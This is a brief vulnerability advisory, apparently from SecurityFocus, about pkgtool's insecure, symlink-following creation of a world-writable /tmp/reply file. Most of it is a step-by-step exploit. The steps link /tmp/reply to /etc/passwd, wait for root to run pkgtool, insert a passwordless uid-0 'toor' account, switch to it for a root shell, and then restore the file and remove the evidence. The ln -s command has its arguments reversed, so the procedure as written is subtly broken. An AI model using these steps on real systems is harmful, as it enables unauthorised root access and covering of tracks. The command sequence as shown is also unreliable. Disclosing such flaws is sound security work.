source: https://www.securityfocus.com/bid/82/info

pkgtool creates the file /tmp/reply insecurely and follows symbolic links. An attacker can create a symbolic link from /tmp/reply to any file and wait for root to run the program. This will clober the target file.
The file created has permissions -rw-rw-rw-.

$ cp /etc/passwd /tmp/passwd
$ ln -s /tmp/reply /etc/passwd
< wait for root to run pkgtool >
$ echo toor::0:0::/:/bin/sh > /etc/passwd
$ su - toor
# cp /tmp/passwd /etc/passwd
# rm /tmp/reply /tmp/passwd